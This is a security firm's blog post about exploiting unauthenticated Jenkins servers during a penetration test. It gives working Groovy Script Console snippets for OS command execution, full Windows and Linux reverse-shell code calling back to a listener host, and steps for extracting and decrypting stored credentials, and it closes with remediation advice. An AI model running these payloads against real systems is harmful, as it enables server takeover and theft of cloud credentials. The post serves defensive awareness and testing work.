Skip to main content

Unauthenticated: Jenkins Edition

Welcome to Unauthenticated, a new blog series where we will demonstrate the risks of not requiring authentication to resources (web applications, network shares, IoT devices, etc.) in an environment through examples we’ve experienced on engagements.

Unauthenticated resources are often the first targets we will hunt for during an engagement. They are the proverbial “low-hanging fruit,” likely to provide privileged access with a low risk of detection.

Jenkins

Jenkins server logo of a man dressed as a butler with brown hair and a mustache in the White Oak Security blog article.

Jenkins servers are used in software development to build, test, and deploy software – making them an interesting target of attack. 

In this post, we’ll look at an internal penetration test where access to an unauthenticated Jenkins server led to remote code execution and compromise of the client’s AWS environment. 

Discovery

Discovering Jenkins servers is pretty straightforward. After host discovery is performed against an environment, it is common to use a tool like EyeWitness or gowitness that automates browsing to every active host with an open port and taking a screenshot of the page if a web server responds. 

Jenkins servers that are properly locked down should immediately prompt you with a login screen similar to this:

Screenshot of the Jenkins Server log-in page, along with many other screenshots on this blog page by White Oak Security. Code review to find unauthenticated data.

Jenkins servers that have authentication issues will not immediately prompt you to log in. Browsing to the base URL of a Jenkins server will present the homepage which typically displays the available projects:

Jenkins server that displays the available projects if it has authentication issues like these screenshots from White Oak Security.

Exploitation

The first thing I investigate for authentication issues is the Script Console page – located at https://URL/script. This page allows you to run Groovy script code that can run arbitrary operating system (OS) commands (Windows/Linux). The code will execute under the same permissions context of the Jenkins server, which from my experience has been a high-privileged user.

In the example below, we were able to make the Script Console page run OS commands on a Windows-based server, executing the commands whoami and ipconfig.

Script console of white oak security's pentester on a windows based server.

Windows example that does not wait for OS command execution to complete:

def cmd = "cmd.exe /c whoami & echo. & ipconfig".execute();
println("${cmd.text}");

Windows example that waits for execution of OS command to complete:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "ipconfig".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Linux example that does not wait for OS command execution to complete:

def cmd = "/bin/bash whoami".execute();
println("${cmd.text}");

Linux example that waits for execution of OS command to complete:

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = "ls".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout\nerr> $serr"

Even better than running OS commands is code that can provide a reverse shell:
 


Script Console used to create a reverse shell


Netcat used to capture reverse shell from Jenkins Script Console

Windows reverse shell example:

string host="10.10.10.1";
int port=80;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Linux reverse shell example:

string host="10.10.10.1";
int port=80;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

The next place to check for authentication issues is the Credentials page – located at https://URL/credentials. The Credentials page allows you to access encrypted credentials that are easily extracted by viewing the source of the page.

On the engagement we got lucky by finding a Jenkins server that stored numerous AWS credentials, some of which provided full control over the AWS environment:
 

unprotected and compromised AWS credentials found on Jenkins server by White Oak Security, screenshot has blurred client data.

 An encrypted version of credentials for any stored account can be retrieved by viewing the page source:

Jenkins page shows scope, username, password, ID, and a description found by White Oak Security pentesting.

The encrypted credentials can be decrypted by using the Script Console:

Script console can decrypt the data shown in this screenshot of the Groovy Script and code, White Oak Security's pentesters prove the AWS environment is compromised.

The last place I investigate for authentication issues is project Workspaces. If you’re lucky, you may find interesting files within Workspaces that contain credentials or other sensitive information.

In the image below, we found a file called decrypted_secrets.json that contained cleartext for a client’s AWS environment:

Workspace screenshot on the Jenkins server shows a compromised decrypted secrets folder found by White Oak Security's pentesters

Remediation

Requiring authentication on all resources in your environment is a critical aspect of securing your environment.

If you have Jenkins servers deploying in your environment ensure that authentication is required. Additionally, be sure to properly implement access controls by configuring Jenkins servers with granular permissions so that each authorized user only has access to the resources they require. 

It may also be worthwhile to implement an audit program that regularly identifies Jenkins servers in your environment that do not have authentication properly configured. Tools like EyeWitness and gowitness are great resources to help visually identify Jenkins servers by automating the process of taking screenshots of web pages based on open ports.

More From White Oak Security

White Oak Security is a highly skilled and knowledgeable cyber security testing company that works hard to get into the minds of opponents to help protect those we serve from malicious threats through expertise, integrity, and passion. 

Read more from White Oak Security